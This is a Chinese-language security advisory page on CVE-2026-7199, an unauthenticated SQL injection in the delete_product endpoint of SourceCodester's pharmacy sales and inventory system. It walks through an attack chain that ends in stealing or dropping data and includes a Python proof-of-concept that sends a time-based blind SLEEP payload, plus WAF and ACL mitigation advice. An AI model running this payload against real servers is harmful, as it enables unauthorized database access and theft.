IPBUF安全漏洞报告
English
CVE-2026-7199 CVSS 7.3 高危

CVE-2026-7199 SourceCodester药房系统SQL注入漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7199
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pharmacy Sales and Inventory System

相关标签

SQL注入SourceCodesterCVE-2026-7199远程代码执行高危漏洞

漏洞概述

该漏洞存在于SourceCodester药房销售与库存系统1.0版本中。具体问题出在/ajax.php?action=delete_product接口,系统未对用户输入的ID参数进行有效的安全过滤,直接将其拼接到SQL查询语句中。攻击者无需认证即可远程利用此漏洞,通过构造恶意SQL语句实施注入攻击,可能导致敏感数据库信息泄露、数据被篡改或删除,对系统安全构成严重威胁。

技术细节

漏洞原理属于典型的SQL注入。在处理删除产品请求时,后端PHP代码接收前端传递的ID参数,并将其作为字符串直接嵌入到SQL命令中执行,缺乏预编译或转义处理。攻击者可以通过单引号等特殊字符闭合原查询语句,并追加恶意的SQL命令(如UNION SELECT查询或基于时间的盲注Payload)。由于CVSS显示无需用户交互(UI:N)且无需权限(PR:N),攻击者可编写自动化脚本批量扫描并攻击目标服务器。一旦利用成功,攻击者不仅能绕过前端验证直接读取数据库中的管理员密码、客户信息等核心数据,还具备修改或删除数据的能力,严重破坏业务系统的完整性与可用性。

攻击链分析

STEP 1
侦察
识别互联网上运行SourceCodester Pharmacy Sales and Inventory System 1.0的目标服务器。
STEP 2
漏洞探测
向/ajax.php?action=delete_product发送包含特殊字符(如单引号)的请求,观察服务器响应以判断是否存在SQL注入。
STEP 3
载荷构造
根据探测结果,构造特定的SQL注入Payload(如UNION SELECT或基于时间的盲注语句),旨在提取数据库表名、字段名或敏感数据。
STEP 4
攻击执行
将构造好的Payload通过HTTP请求的ID参数发送给服务器,由于无需认证,攻击者可直接触发数据库执行恶意命令。
STEP 5
数据窃取与破坏
解析数据库返回的错误信息或页面内容,获取管理员密码等数据;或利用注入语句删除(DROP)关键数据表。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(target_url): # Vulnerable endpoint full_url = f"{target_url}/ajax.php" # Payload for time-based blind SQL injection # Checks if the database waits for 5 seconds params = { "action": "delete_product", "ID": "1 AND SLEEP(5)-- -" } try: print(f"[*] Sending request to {full_url}...") response = requests.get(full_url, params=params, timeout=10) # If response time is greater than 5 seconds, the SQL executed successfully if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed! SQL Injection is possible.") else: print("[-] Vulnerability not detected or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target check_sqli(target)

影响范围

SourceCodester Pharmacy Sales and Inventory System 1.0

防御指南

临时缓解措施
在代码修复完成之前,建议通过网络访问控制列表(ACL)限制对/ajax.php文件的访问,仅允许受信任的IP地址调用。同时,应配置Web应用防火墙(WAF),启用针对SQL注入的防护规则,重点过滤包含单引号、双杠注释符、UNION、SELECT等关键字的请求流量,以阻断潜在的攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表